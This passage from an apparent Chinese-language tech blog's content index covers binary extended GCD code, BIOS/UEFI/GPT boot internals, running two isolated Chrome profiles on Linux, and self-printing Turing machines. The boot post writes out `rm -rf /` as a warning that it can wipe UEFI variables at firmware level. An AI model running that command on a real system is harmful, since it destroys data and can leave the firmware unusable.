must be even, so alpha is odd</span></span><br><span class=\"line\"> <span class=\"comment\"># so for each of (i), (ii) and (iii) s + beta and t - alpha are even</span></span><br><span class=\"line\"> <span class=\"comment\">#</span></span><br><span class=\"line\"> <span class=\"keyword\">if</span> (s % <span class=\"number\">2</span> == <span class=\"number\">0</span>) <span class=\"keyword\">and</span> (t % <span class=\"number\">2</span> == <span class=\"number\">0</span>):</span><br><span class=\"line\"> s, t = s // <span class=\"number\">2</span>, t // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"keyword\">else</span>:</span><br><span class=\"line\"> s, t = (s + beta) // <span class=\"number\">2</span>, (t - alpha) // <span class=\"number\">2</span></span><br><span class=\"line\"> <span class=\"keyword\">elif</span> b < a:</span><br><span class=\"line\"> a, b, u, v, s, t = b, a, s, t, u, v</span><br><span class=\"line\"> <span class=\"keyword\">else</span>:</span><br><span class=\"line\"> b, s, t = b - a, s - u, t - v</span><br><span class=\"line\"> <span class=\"keyword\">return</span> s, t, (<span class=\"number\">2</span> ** r) * a</span><br></pre></td></tr></table></figure>\n</li>\n<li><p>思路：从19行开始，维护式子b=s*alpha+t*beta 的成立——可以验证，每次s、t更改后，式子还是成立</p>\n</li>\n</ul>\n","slug":"Binary-GCD-And-Extend-Binary-GCD","categories":[{"name":"数学","slug":"数学","permalink":"https://h-zex.github.io/categories/数学/"},{"name":"密码学","slug":"数学/密码学","permalink":"https://h-zex.github.io/categories/数学/密码学/"}],"tags":[{"name":"欧几里得算法","slug":"欧几里得算法","permalink":"https://h-zex.github.io/tags/欧几里得算法/"},{"name":"扩展欧几里得","slug":"扩展欧几里得","permalink":"https://h-zex.github.io/tags/扩展欧几里得/"},{"name":"二进制欧几里得算法","slug":"二进制欧几里得算法","permalink":"https://h-zex.github.io/tags/二进制欧几里得算法/"}]},{"title":"Booting a System","date":"2018-09-17T01:22:08.000Z","path":"2018/09/17/Booting-a-System/","text":"Legacy BIOS 传统的bios假设boot device start with a record called MBR，MBR512个字节，包含first-stage boot loader（也叫boot block）和一个分区表 无论是BIOS还是第一阶段的boot loader都没有足够的能力去读取标准的文件系统，所以第二阶段的boot loader的位置必须足够容易获取。在大多数场景下，boot block从MBR读取分区表，识别出那些marked as “active”的硬盘分区，然后其从这些分区的开头读取并运行第二阶段boot loader，这个方案被叫做”volume boot record” 第二阶段的boot loader还可以处于MBR和第一个磁盘分区之间的”dead zone”。由于历史原因，第一个磁盘分区从第64个disk block开始（MBR所在的那个是第0个block），所以这个区域包含有32KB的空间，这个空间足够包含一个文件系统驱动。这个方案通常被GRUB使用 MBR boot block是OS-agnostic的，但是因为第二阶段的boot loader有多个版本可以安装，所以第二阶段的boot loader通常是了解操作系统和文件系统的，并且是可配置的 MBR MBR disks support only four partition table entries. For more than four partitions, a secondary structure known as an extended partition is necessary. Extended partitions can then be subdivided into one or more logical disks. EFI Intel’s extensible firmware interface (EFI) EFI演变成UEFI（unified EFI），被多家制造商支持，不过EFI仍然是更常使用的术语。EFI和UEFI基本上可以互换使用 GPT The EFI partitioning scheme, known as a “GUID partition table” or GPT A partition is a contiguous space of storage on a physical or logical disk that functions as if it were a physically separate disk. Partitions are visible to the system firmware and the installed operating systems. Access to a partition is controlled by the system firmware before the system boots the operating system, and then by the operating system after it is started. 只有一种分区类型（没有诸如逻辑分区），可以任意多的分区数目，有16-byte的GUID The specification allows an almost unlimited number of partitions. However, the Windows implementation restricts this to 128 partitions. The number of partitions is limited by the amount of space reserved for partition entries in the GPT. The 16-byte partition type GUID, which is similar to a System ID in the partition table of an MBR disk, identifies the type of data that the partition contains and identifies how the partition is used, for example, whether it is a basic disk or a dynamic disk. Note that each GUID partition entry has a backup copy. Windows and GPT FAQ Can a disk be both GPT and MBR?No. However, all GPT disks contain a Protective MBR. What is a Protective MBR?The Protective MBR, beginning in sector 0, precedes the GPT partition table on the disk. The MBR contains one type 0xEE partition that spans the disk. Why does the GPT have a Protective MBR?The Protective MBR protects GPT disks from previously released MBR disk tools such as Microsoft MS-DOS FDISK or Microsoft Windows NT Disk Administrator. These tools are not aware of GPT and don’t know how to properly access a GPT disk. Legacy software that does not know about GPT interprets only the Protected MBR when it accesses a GPT disk. These tools will view a GPT disk as having a single encompassing (possibly unrecognized) partition by interpreting the Protected MBR, rather than mistaking the disk for one that is unpartitioned. Why would a GPT-partitioned disk appear to have an MBR on it?This occurrs when you use an MBR-only-aware disk tool to access the GPT disk. 如果没有保护性的MBR，一些MBR-only的工具可能会认为该磁盘没有格式化所以去格式化该磁盘 不要使用不支持GPT的分区工具，这些工具会认为自己理解了磁盘布局，其实并没有。这是很危险的。 ESP The EFI system partition (also called ESP or EFISYS) is an OS independent partition that acts as the storage place for the EFI bootloaders, applications and drivers to be launched by the UEFI firmware. It is mandatory for UEFI boot. The UEFI specification mandates support for the FAT12, FAT16, and FAT32 filesystems (see UEFI specification version 2.7, section 13.3.1.1), but any conformant vendor can optionally add support for additional filesystems; for example, Apple Macs support (and by default use) their own HFS+ filesystem drivers. 因为这只是一个普通的FAT分区，所以可以被操作系统挂载、读写。 At boot time, the firmware consults the GPT partition table to identify the ESP. It then reads the configured target application directly from a file in the ESP and executes it. BOOT 没有boot block（除了Protective MBR） 在UEFI 系统，并不需要boot loader，UEFI boot target 可以是UNIX/Linux kernel，这些kernel可以被配置为direct UEFI loading。不过，实践中，为了兼容legacy BIOSes，所以还是使用了boot loader 在modern intel system，UEFI默认从/efi/boot/boot64.efi加载。这个路径可以作为一个参数配置 UEFI定义了很多访问系统硬件的API，在这个意义上，其已经是一个小型操作系统了，甚至有UEFI-level add-on device drivers（使用处理器无关的语言编写，存储在ESP）。操作系统可以使用这些API访问硬件，也可以直接控制硬件。 因为UEFI有formal API，所以可以在运行的操作系统修改UEFI 变量 firmware可以被mounted read/write（从可以修改UEFI变量就可以知道确实可读写） 在那些默认允许写的系统(typically, those with systemd)，rm -rf / 可以永久的摧毁system at fireware level。并且，除了移除文件，rm还移除variables and other UEFI information accessible through /sys ","raw":"---\ntitle: Booting a System\ntags:\n- boot\n- unix/linux\ncategories:\n- 运维\ndate: 2018-09-17 09:22:08\n---\n\n## Legacy BIOS \n\n- 传统的bios假设boot device start with a record called MBR，MBR512个字节，包含first-stage boot loader（也叫boot block）和一个分区表\n- 无论是BIOS还是第一阶段的boot loader都没有足够的能力去读取标准的文件系统，所以第二阶段的boot loader的位置必须足够容易获取。在大多数场景下，boot block从MBR读取分区表，识别出那些marked as \"active\"的硬盘分区，然后其从这些分区的开头读取并运行第二阶段boot loader，这个方案被叫做\"volume boot record\"\n- 第二阶段的boot loader还可以处于MBR和第一个磁盘分区之间的\"dead zone\"。由于历史原因，第一个磁盘分区从第64个disk block开始（MBR所在的那个是第0个block），所以这个区域包含有32KB的空间，这个空间足够包含一个文件系统驱动。这个方案通常被GRUB使用\n- MBR boot block是OS-agnostic的，但是因为第二阶段的boot loader有多个版本可以安装，所以第二阶段的boot loader通常是了解操作系统和文件系统的，并且是可配置的\n\n### MBR\n\n- > MBR disks support only four partition table entries. For more than four partitions, a secondary structure known as an extended partition is necessary. Extended partitions can then be subdivided into one or more logical disks.\n\n## EFI\n\n- Intel’s extensible firmware interface (EFI) \n- EFI演变成UEFI（unified EFI），被多家制造商支持，不过EFI仍然是更常使用的术语。EFI和UEFI基本上可以互换使用\n\n### GPT\n\n- The EFI partitioning scheme, known as a “GUID partition table” or GPT\n\n > A partition is a contiguous space of storage on a physical or logical disk that functions as if it were a physically separate disk. Partitions are visible to the system firmware and the installed operating systems. Access to a partition is controlled by the system firmware before the system boots the operating system, and then by the operating system after it is started.\n\n- 只有一种分区类型（没有诸如逻辑分区），可以任意多的分区数目，有16-byte的GUID\n\n > The specification allows an almost unlimited number of partitions. However, the Windows implementation restricts this to 128 partitions. The number of partitions is limited by the amount of space reserved for partition entries in the GPT.\n >\n > The 16-byte partition type GUID, which is similar to a System ID in the partition table of an MBR disk, identifies the type of data that the partition contains and identifies how the partition is used, for example, whether it is a basic disk or a dynamic disk. Note that each GUID partition entry has a backup copy.\n\n- > [Windows and GPT FAQ](https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-and-gpt-faq)\n >\n > ##### Can a disk be both GPT and MBR?\n >\n > No. However, all GPT disks contain a Protective MBR.\n >\n > ##### What is a Protective MBR?\n >\n > The Protective MBR, beginning in sector 0, precedes the GPT partition table on the disk. The MBR contains one type 0xEE partition that spans the disk.\n >\n > ##### Why does the GPT have a Protective MBR?\n >\n > The Protective MBR protects GPT disks from previously released MBR disk tools such as Microsoft MS-DOS FDISK or Microsoft Windows NT Disk Administrator. These tools are not aware of GPT and don't know how to properly access a GPT disk. Legacy software that does not know about GPT interprets only the Protected MBR when it accesses a GPT disk. These tools will view a GPT disk as having a single encompassing (possibly unrecognized) partition by interpreting the Protected MBR, rather than mistaking the disk for one that is unpartitioned.\n >\n > ##### Why would a GPT-partitioned disk appear to have an MBR on it?\n >\n > This occurrs when you use an MBR-only-aware disk tool to access the GPT disk.\n >\n\n- 如果没有保护性的MBR，一些MBR-only的工具可能会认为该磁盘没有格式化所以去格式化该磁盘\n\n- 不要使用不支持GPT的分区工具，这些工具会认为自己理解了磁盘布局，其实并没有。这是很危险的。\n\n### ESP \n\n- > The [EFI system partition](https://en.wikipedia.org/wiki/EFI_system_partition) (also called ESP or EFISYS) is an OS independent partition that acts as the storage place for the EFI bootloaders, applications and drivers to be launched by the UEFI firmware. It is mandatory for UEFI boot.\n >\n > The UEFI specification mandates support for the FAT12, FAT16, and FAT32 filesystems (see [UEFI specification version 2.7, section 13.3.1.1](http://www.uefi.org/sites/default/files/resources/UEFI%20Spec%202_7_A%20Sept%206.pdf#G17.1019485)), but any conformant vendor can optionally add support for additional filesystems; for example, Apple [Macs](https://wiki.archlinux.org/index.php/Mac) support (and by default use) their own HFS+ filesystem drivers.\n\n- 因为这只是一个普通的FAT分区，所以可以被操作系统挂载、读写。\n\n- > At boot time, the firmware consults the GPT partition table to identify the ESP. It then reads the configured target application directly from a file in the ESP and executes it.\n\n### BOOT\n\n- 没有boot block（除了Protective MBR）\n\n- 在UEFI 系统，并不需要boot loader，UEFI boot target 可以是UNIX/Linux kernel，这些kernel可以被配置为direct UEFI loading。不过，实践中，为了兼容legacy BIOSes，所以还是使用了boot loader\n\n- 在modern intel system，UEFI默认从`/efi/boot/boot64.efi`加载。这个路径可以作为一个参数配置\n\n- UEFI定义了很多访问系统硬件的API，在这个意义上，其已经是一个小型操作系统了，甚至有UEFI-level add-on device drivers（使用处理器无关的语言编写，存储在ESP）。操作系统可以使用这些API访问硬件，也可以直接控制硬件。\n\n- 因为UEFI有formal API，所以可以在运行的操作系统修改UEFI 变量\n\n- firmware可以被mounted read/write（从可以修改UEFI变量就可以知道确实可读写）\n\n- 在那些默认允许写的系统(typically, those with systemd)，`rm -rf /` 可以永久的摧毁system at fireware level。并且，除了移除文件，rm还移除variables and other UEFI information accessible through `/sys`\n\n ","content":"<h2 id=\"Legacy-BIOS\"><a href=\"#Legacy-BIOS\" class=\"headerlink\" title=\"Legacy BIOS\"></a>Legacy BIOS</h2><ul>\n<li>传统的bios假设boot device start with a record called MBR，MBR512个字节，包含first-stage boot loader（也叫boot block）和一个分区表</li>\n<li>无论是BIOS还是第一阶段的boot loader都没有足够的能力去读取标准的文件系统，所以第二阶段的boot loader的位置必须足够容易获取。在大多数场景下，boot block从MBR读取分区表，识别出那些marked as “active”的硬盘分区，然后其从这些分区的开头读取并运行第二阶段boot loader，这个方案被叫做”volume boot record”</li>\n<li>第二阶段的boot loader还可以处于MBR和第一个磁盘分区之间的”dead zone”。由于历史原因，第一个磁盘分区从第64个disk block开始（MBR所在的那个是第0个block），所以这个区域包含有32KB的空间，这个空间足够包含一个文件系统驱动。这个方案通常被GRUB使用</li>\n<li>MBR boot block是OS-agnostic的，但是因为第二阶段的boot loader有多个版本可以安装，所以第二阶段的boot loader通常是了解操作系统和文件系统的，并且是可配置的</li>\n</ul>\n<h3 id=\"MBR\"><a href=\"#MBR\" class=\"headerlink\" title=\"MBR\"></a>MBR</h3><ul>\n<li><blockquote>\n<p>MBR disks support only four partition table entries. For more than four partitions, a secondary structure known as an extended partition is necessary. Extended partitions can then be subdivided into one or more logical disks.</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"EFI\"><a href=\"#EFI\" class=\"headerlink\" title=\"EFI\"></a>EFI</h2><ul>\n<li>Intel’s extensible firmware interface (EFI) </li>\n<li>EFI演变成UEFI（unified EFI），被多家制造商支持，不过EFI仍然是更常使用的术语。EFI和UEFI基本上可以互换使用</li>\n</ul>\n<h3 id=\"GPT\"><a href=\"#GPT\" class=\"headerlink\" title=\"GPT\"></a>GPT</h3><ul>\n<li><p>The EFI partitioning scheme, known as a “GUID partition table” or GPT</p>\n<blockquote>\n<p>A partition is a contiguous space of storage on a physical or logical disk that functions as if it were a physically separate disk. Partitions are visible to the system firmware and the installed operating systems. Access to a partition is controlled by the system firmware before the system boots the operating system, and then by the operating system after it is started.</p>\n</blockquote>\n</li>\n<li><p>只有一种分区类型（没有诸如逻辑分区），可以任意多的分区数目，有16-byte的GUID</p>\n<blockquote>\n<p>The specification allows an almost unlimited number of partitions. However, the Windows implementation restricts this to 128 partitions. The number of partitions is limited by the amount of space reserved for partition entries in the GPT.</p>\n<p>The 16-byte partition type GUID, which is similar to a System ID in the partition table of an MBR disk, identifies the type of data that the partition contains and identifies how the partition is used, for example, whether it is a basic disk or a dynamic disk. Note that each GUID partition entry has a backup copy.</p>\n</blockquote>\n</li>\n<li><blockquote>\n<p><a href=\"https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/windows-and-gpt-faq\" target=\"_blank\" rel=\"noopener\">Windows and GPT FAQ</a></p>\n<h5 id=\"Can-a-disk-be-both-GPT-and-MBR\"><a href=\"#Can-a-disk-be-both-GPT-and-MBR\" class=\"headerlink\" title=\"Can a disk be both GPT and MBR?\"></a>Can a disk be both GPT and MBR?</h5><p>No. However, all GPT disks contain a Protective MBR.</p>\n<h5 id=\"What-is-a-Protective-MBR\"><a href=\"#What-is-a-Protective-MBR\" class=\"headerlink\" title=\"What is a Protective MBR?\"></a>What is a Protective MBR?</h5><p>The Protective MBR, beginning in sector 0, precedes the GPT partition table on the disk. The MBR contains one type 0xEE partition that spans the disk.</p>\n<h5 id=\"Why-does-the-GPT-have-a-Protective-MBR\"><a href=\"#Why-does-the-GPT-have-a-Protective-MBR\" class=\"headerlink\" title=\"Why does the GPT have a Protective MBR?\"></a>Why does the GPT have a Protective MBR?</h5><p>The Protective MBR protects GPT disks from previously released MBR disk tools such as Microsoft MS-DOS FDISK or Microsoft Windows NT Disk Administrator. These tools are not aware of GPT and don’t know how to properly access a GPT disk. Legacy software that does not know about GPT interprets only the Protected MBR when it accesses a GPT disk. These tools will view a GPT disk as having a single encompassing (possibly unrecognized) partition by interpreting the Protected MBR, rather than mistaking the disk for one that is unpartitioned.</p>\n<h5 id=\"Why-would-a-GPT-partitioned-disk-appear-to-have-an-MBR-on-it\"><a href=\"#Why-would-a-GPT-partitioned-disk-appear-to-have-an-MBR-on-it\" class=\"headerlink\" title=\"Why would a GPT-partitioned disk appear to have an MBR on it?\"></a>Why would a GPT-partitioned disk appear to have an MBR on it?</h5><p>This occurrs when you use an MBR-only-aware disk tool to access the GPT disk.</p>\n</blockquote>\n</li>\n<li><p>如果没有保护性的MBR，一些MBR-only的工具可能会认为该磁盘没有格式化所以去格式化该磁盘</p>\n</li>\n<li><p>不要使用不支持GPT的分区工具，这些工具会认为自己理解了磁盘布局，其实并没有。这是很危险的。</p>\n</li>\n</ul>\n<h3 id=\"ESP\"><a href=\"#ESP\" class=\"headerlink\" title=\"ESP\"></a>ESP</h3><ul>\n<li><blockquote>\n<p>The <a href=\"https://en.wikipedia.org/wiki/EFI_system_partition\" target=\"_blank\" rel=\"noopener\">EFI system partition</a> (also called ESP or EFISYS) is an OS independent partition that acts as the storage place for the EFI bootloaders, applications and drivers to be launched by the UEFI firmware. It is mandatory for UEFI boot.</p>\n<p>The UEFI specification mandates support for the FAT12, FAT16, and FAT32 filesystems (see <a href=\"http://www.uefi.org/sites/default/files/resources/UEFI%20Spec%202_7_A%20Sept%206.pdf#G17.1019485\" target=\"_blank\" rel=\"noopener\">UEFI specification version 2.7, section 13.3.1.1</a>), but any conformant vendor can optionally add support for additional filesystems; for example, Apple <a href=\"https://wiki.archlinux.org/index.php/Mac\" target=\"_blank\" rel=\"noopener\">Macs</a> support (and by default use) their own HFS+ filesystem drivers.</p>\n</blockquote>\n</li>\n<li><p>因为这只是一个普通的FAT分区，所以可以被操作系统挂载、读写。</p>\n</li>\n<li><blockquote>\n<p>At boot time, the firmware consults the GPT partition table to identify the ESP. It then reads the configured target application directly from a file in the ESP and executes it.</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"BOOT\"><a href=\"#BOOT\" class=\"headerlink\" title=\"BOOT\"></a>BOOT</h3><ul>\n<li><p>没有boot block（除了Protective MBR）</p>\n</li>\n<li><p>在UEFI 系统，并不需要boot loader，UEFI boot target 可以是UNIX/Linux kernel，这些kernel可以被配置为direct UEFI loading。不过，实践中，为了兼容legacy BIOSes，所以还是使用了boot loader</p>\n</li>\n<li><p>在modern intel system，UEFI默认从<code>/efi/boot/boot64.efi</code>加载。这个路径可以作为一个参数配置</p>\n</li>\n<li><p>UEFI定义了很多访问系统硬件的API，在这个意义上，其已经是一个小型操作系统了，甚至有UEFI-level add-on device drivers（使用处理器无关的语言编写，存储在ESP）。操作系统可以使用这些API访问硬件，也可以直接控制硬件。</p>\n</li>\n<li><p>因为UEFI有formal API，所以可以在运行的操作系统修改UEFI 变量</p>\n</li>\n<li><p>firmware可以被mounted read/write（从可以修改UEFI变量就可以知道确实可读写）</p>\n</li>\n<li><p>在那些默认允许写的系统(typically, those with systemd)，<code>rm -rf /</code> 可以永久的摧毁system at fireware level。并且，除了移除文件，rm还移除variables and other UEFI information accessible through <code>/sys</code></p>\n<p></p>\n</li>\n</ul>\n","slug":"Booting-a-System","categories":[{"name":"运维","slug":"运维","permalink":"https://h-zex.github.io/categories/运维/"}],"tags":[{"name":"boot","slug":"boot","permalink":"https://h-zex.github.io/tags/boot/"},{"name":"unix/linux","slug":"unix-linux","permalink":"https://h-zex.github.io/tags/unix-linux/"}]},{"title":"How to Have Two Chromes at Linux","date":"2018-09-10T13:26:34.000Z","path":"2018/09/10/How-to-Have-Two-Chromes-at-Linux/","text":"需求 由于Tampermonkey的脚本频繁更新，所以有点担心脚本的安全性问题。毕竟没有时间把源码都看一遍。 而由于JavaScript的能力比较有限，所以，我认为，构造一个新的浏览器环境来运行这个脚本应该就可以解决问题。 那么，就需要两个chrome的环境 chrome的用户数据 linux下chrome的默认用户数据存储在/home/<user-name>/.config/google-chrome，可以使用--user-data-dir=DIR参数启动chrome来使得chrome使用另一个目录作为用户data目录 –user-data-dir=DIRSpecifies the directory that user data (your “profile”) is kept in. Defaults to $HOME/.config/google-chrome . Separate instances of GoogleChrome must use separate user data directories; repeated invocations of google-chrome will reuse an existing process for a given user datadirectory. 接下来 1234cd /home/<user-name>/.config/mv google-chrome xxx # 注意，不可以使用google-chrome.old，否则chrome还是会从这个文件夹获得用户名等信息# 我就是使用了google-chrome.old，结果打开新的chrome，chrome总是显示我已经登录了，然后新的google-chrome目录下的生成的新的Local State文件总是有我的个人信息 接下来，打开chrome（不加–user-data-dir参数），chrome就会生成新的google-chrome文件夹，从而就可以获得一个全新的chrome环境。然后安装需要的插件和脚本（注意，不要登录账户然后选同步设置。） 把chrome新创建的这个google-chrome文件夹名改为自己要的名字，然后以后要使用新环境就直接加上--user-data-dir=DIR参数打开chrome即可 由于chrome的用户data似乎对chrome版本比较敏感，所以还需要其他措施（当然没有似乎问题也不大——我67使用69的配置只是报个错，没有其他问题） 从chrome 的deb解压获得chrome从而不需要安装也可以使用chrome dpkg -x xxx.deb folder即可把deb包解压到folder文件夹中 然后使用使用chown命令修改folder/opt/google/chrome/chrome-sandbox的拥有者为root，然后使用chmod 4755修改该文件的权限，才可以使用这个chrome 使用方法，直接在folder/opt/google/chrome/目录下运行./chrome即可","raw":"---\ntitle: How to Have Two Chromes at Linux\ndate: 2018-09-10 21:26:34\ntags:\n- 运维\n- 小技巧\n- chrome\n- linux\ncategories:\n- 运维\n---\n\n### 需求\n\n- 由于Tampermonkey的脚本频繁更新，所以有点担心脚本的安全性问题。毕竟没有时间把源码都看一遍。\n- 而由于JavaScript的能力比较有限，所以，我认为，构造一个新的浏览器环境来运行这个脚本应该就可以解决问题。\n- 那么，就需要两个chrome的环境\n\n### chrome的用户数据\n\n- linux下chrome的默认用户数据存储在`/home/<user-name>/.config/google-chrome`，可以使用`--user-data-dir=DIR`参数启动chrome来使得chrome使用另一个目录作为用户data目录\n > --user-data-dir=DIR\n > Specifies the directory that user data (your \"profile\") is kept in. Defaults to $HOME/.config/google-chrome . Separate instances of Google\n > Chrome must use separate user data directories; repeated invocations of google-chrome will reuse an existing process for a given user data\n > directory.\n- 接下来\n ```shell\n cd /home/<user-name>/.config/\n mv google-chrome xxx \n # 注意，不可以使用google-chrome.old，否则chrome还是会从这个文件夹获得用户名等信息\n # 我就是使用了google-chrome.old，结果打开新的chrome，chrome总是显示我已经登录了，然后新的google-chrome目录下的生成的新的Local State文件总是有我的个人信息\n ```\n 接下来，打开chrome（不加--user-data-dir参数），chrome就会生成新的google-chrome文件夹，从而就可以获得一个全新的chrome环境。然后安装需要的插件和脚本（注意，不要登录账户然后选同步设置。）\n- 把chrome新创建的这个google-chrome文件夹名改为自己要的名字，然后以后要使用新环境就直接加上`--user-data-dir=DIR`参数打开chrome即可\n- 由于chrome的用户data似乎对chrome版本比较敏感，所以还需要其他措施（当然没有似乎问题也不大——我67使用69的配置只是报个错，没有其他问题）\n\n\n### 从chrome 的deb解压获得chrome从而不需要安装也可以使用chrome\n\n- `dpkg -x xxx.deb folder`即可把deb包解压到folder文件夹中\n- 然后使用使用`chown`命令修改`folder/opt/google/chrome/chrome-sandbox`的拥有者为root，然后使用`chmod 4755`修改该文件的权限，才可以使用这个chrome\n- 使用方法，直接在`folder/opt/google/chrome/`目录下运行`./chrome`即可\n","content":"<h3 id=\"需求\"><a href=\"#需求\" class=\"headerlink\" title=\"需求\"></a>需求</h3><ul>\n<li>由于Tampermonkey的脚本频繁更新，所以有点担心脚本的安全性问题。毕竟没有时间把源码都看一遍。</li>\n<li>而由于JavaScript的能力比较有限，所以，我认为，构造一个新的浏览器环境来运行这个脚本应该就可以解决问题。</li>\n<li>那么，就需要两个chrome的环境</li>\n</ul>\n<h3 id=\"chrome的用户数据\"><a href=\"#chrome的用户数据\" class=\"headerlink\" title=\"chrome的用户数据\"></a>chrome的用户数据</h3><ul>\n<li>linux下chrome的默认用户数据存储在<code>/home/<user-name>/.config/google-chrome</code>，可以使用<code>--user-data-dir=DIR</code>参数启动chrome来使得chrome使用另一个目录作为用户data目录<blockquote>\n<p>–user-data-dir=DIR<br>Specifies the directory that user data (your “profile”) is kept in. Defaults to $HOME/.config/google-chrome . Separate instances of Google<br>Chrome must use separate user data directories; repeated invocations of google-chrome will reuse an existing process for a given user data<br>directory.</p>\n</blockquote>\n</li>\n<li><p>接下来</p>\n <figure class=\"highlight shell\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">cd /home/<user-name>/.config/</span><br><span class=\"line\">mv google-chrome xxx </span><br><span class=\"line\"><span class=\"meta\">#</span> 注意，不可以使用google-chrome.old，否则chrome还是会从这个文件夹获得用户名等信息</span><br><span class=\"line\"><span class=\"meta\">#</span> 我就是使用了google-chrome.old，结果打开新的chrome，chrome总是显示我已经登录了，然后新的google-chrome目录下的生成的新的Local State文件总是有我的个人信息</span><br></pre></td></tr></table></figure>\n<p> 接下来，打开chrome（不加–user-data-dir参数），chrome就会生成新的google-chrome文件夹，从而就可以获得一个全新的chrome环境。然后安装需要的插件和脚本（注意，不要登录账户然后选同步设置。）</p>\n</li>\n<li>把chrome新创建的这个google-chrome文件夹名改为自己要的名字，然后以后要使用新环境就直接加上<code>--user-data-dir=DIR</code>参数打开chrome即可</li>\n<li>由于chrome的用户data似乎对chrome版本比较敏感，所以还需要其他措施（当然没有似乎问题也不大——我67使用69的配置只是报个错，没有其他问题）</li>\n</ul>\n<h3 id=\"从chrome-的deb解压获得chrome从而不需要安装也可以使用chrome\"><a href=\"#从chrome-的deb解压获得chrome从而不需要安装也可以使用chrome\" class=\"headerlink\" title=\"从chrome 的deb解压获得chrome从而不需要安装也可以使用chrome\"></a>从chrome 的deb解压获得chrome从而不需要安装也可以使用chrome</h3><ul>\n<li><code>dpkg -x xxx.deb folder</code>即可把deb包解压到folder文件夹中</li>\n<li>然后使用使用<code>chown</code>命令修改<code>folder/opt/google/chrome/chrome-sandbox</code>的拥有者为root，然后使用<code>chmod 4755</code>修改该文件的权限，才可以使用这个chrome</li>\n<li>使用方法，直接在<code>folder/opt/google/chrome/</code>目录下运行<code>./chrome</code>即可</li>\n</ul>\n","slug":"How-to-Have-Two-Chromes-at-Linux","categories":[{"name":"运维","slug":"运维","permalink":"https://h-zex.github.io/categories/运维/"}],"tags":[{"name":"运维","slug":"运维","permalink":"https://h-zex.github.io/tags/运维/"},{"name":"小技巧","slug":"小技巧","permalink":"https://h-zex.github.io/tags/小技巧/"},{"name":"chrome","slug":"chrome","permalink":"https://h-zex.github.io/tags/chrome/"},{"name":"linux","slug":"linux","permalink":"https://h-zex.github.io/tags/linux/"}]},{"title":"打印自身的图灵机的构造","date":"2018-08-03T03:16:51.000Z","path":"2018/08/03/打印自身的图灵机的构造/","text":"以下是Introduction to The Theory of Computation 英文第三版的Lemma6.1、Theory6.3的个人理解 下文中，<p> 代表图灵机p的编码 首先，根据Lemma6.1，可以有一台通用机器q，其对于任意w，打印出“输出该w的图灵机”的编码——不过并不保证这台被打印出的图灵机就是那一台生成该w的图灵机——生成w的图灵机可以有很多台，q只打印出其中一台 然后，利用上面这个东西，就可以特殊构造某机器p，其输出w，并且该机器的编码就是q输出的图灵机的编码。从而使得q从p的输出w可以反推出p本身 然后，再特殊一点，这台p输出的w刚好就是q的编码——这是可以做到的，因为q是一台已经确定的，独立于p的图灵机。那么，q的输出+p的输出就刚好是<p><q> ——从而，q与p组合起来的图灵机就是一台打印出自身的图灵机 继续扩展，p可以有多部分构成，使得p和q组合起来的机器不仅仅打印出自身，还可以做其他事情。比如说，p=ab，其中a是打印出<q><b> 的图灵机，b是做其他事情的图灵机。然后，图灵机q就可以打印出图灵机p。如果把他们的输出组合起来就成了<p><q><b> 。当图灵机a、图灵机q运行完之后，纸带上就有了<p><q><b> 。consider that，必然是p先运行，在纸带上留下自己的输出，然后才能q运行，从纸带上获得p的输出，来产生出<p> 。可以修改q，使得其运行后，把控制权交给图灵机b，然后图灵机b从纸带上获得<p><q><b> ，继续执行计算。 上文说的转交控制权的可以这样实现——根据图灵机b定制图灵机q，使得q的accept状态后读入空串到达图灵机b的其实状态。这时候，图灵机q的编码将依赖于图灵机b。 更进一步，再修改图灵机q，其不是使用图灵机p的所有输出，而是使用图灵机p的一部分输出来构造出<p> ，那么，图灵机p就不仅仅可以输出图灵机q的描述，还可以在纸带上留下w（w与<p><q> 无关）。 那么，我们就可以有一台图灵机M，其由图灵机p、q组成，其中，p=ab，那么，这台图灵机会在q运行完后，在纸带上留下w<p><q><b> 。然后，将控制权转给图灵机b，其执行其他计算。从而，我们的这台图灵机M其不仅仅打印出自身，还实现了图灵机b的功能。","raw":"---\ntitle: 打印自身的图灵机的构造\ntoc: false\ncomments: true\nmathjax: true\ndate: 2018-08-03 11:16:51\ntags:\n- 图灵机\ndescription: 打印自身的图灵机的构造\ncategories:\n- 计算理论\n---\n\n- 以下是*Introduction to The Theory of Computation* 英文第三版的Lemma6.1、Theory6.3的个人理解 \n\n- 下文中，`<p>` 代表图灵机p的编码\n\n\n- 首先，根据Lemma6.1，可以有一台通用机器q，其对于任意w，打印出“输出该w的图灵机”的编码——不过并不保证这台被打印出的图灵机就是那一台生成该w的图灵机——生成w的图灵机可以有很多台，q只打印出其中一台\n- 然后，利用上面这个东西，就可以**特殊构造**某机器p，其输出w，并且该机器的编码就是q输出的图灵机的编码。从而使得q从p的输出w可以反推出p本身\n- 然后，再特殊一点，这台p输出的w刚好就是q的编码——这是可以做到的，因为q是一台已经确定的，独立于p的图灵机。那么，q的输出+p的输出就刚好是`<p><q>` ——从而，q与p组合起来的图灵机就是一台打印出自身的图灵机\n- 继续扩展，p可以有多部分构成，使得p和q组合起来的机器不仅仅打印出自身，还可以做其他事情。比如说，p=ab，其中a是打印出`<q><b>` 的图灵机，b是做其他事情的图灵机。然后，图灵机q就可以打印出图灵机p。如果把他们的输出组合起来就成了`<p><q><b>` 。当图灵机a、图灵机q运行完之后，纸带上就有了`<p><q><b>` 。consider that，必然是p先运行，在纸带上留下自己的输出，然后才能q运行，从纸带上获得p的输出，来产生出`<p>` 。可以修改q，使得其运行后，把控制权交给图灵机b，然后图灵机b从纸带上获得`<p><q><b>` ，继续执行计算。\n- 上文说的转交控制权的可以这样实现——根据图灵机b定制图灵机q，使得q的accept状态后读入空串到达图灵机b的其实状态。这时候，图灵机q的编码将依赖于图灵机b。\n- 更进一步，再修改图灵机q，其不是使用图灵机p的所有输出，而是使用图灵机p的一部分输出来构造出`<p>` ，那么，图灵机p就不仅仅可以输出图灵机q的描述，还可以在纸带上留下w（w与`<p><q>` 无关）。\n- 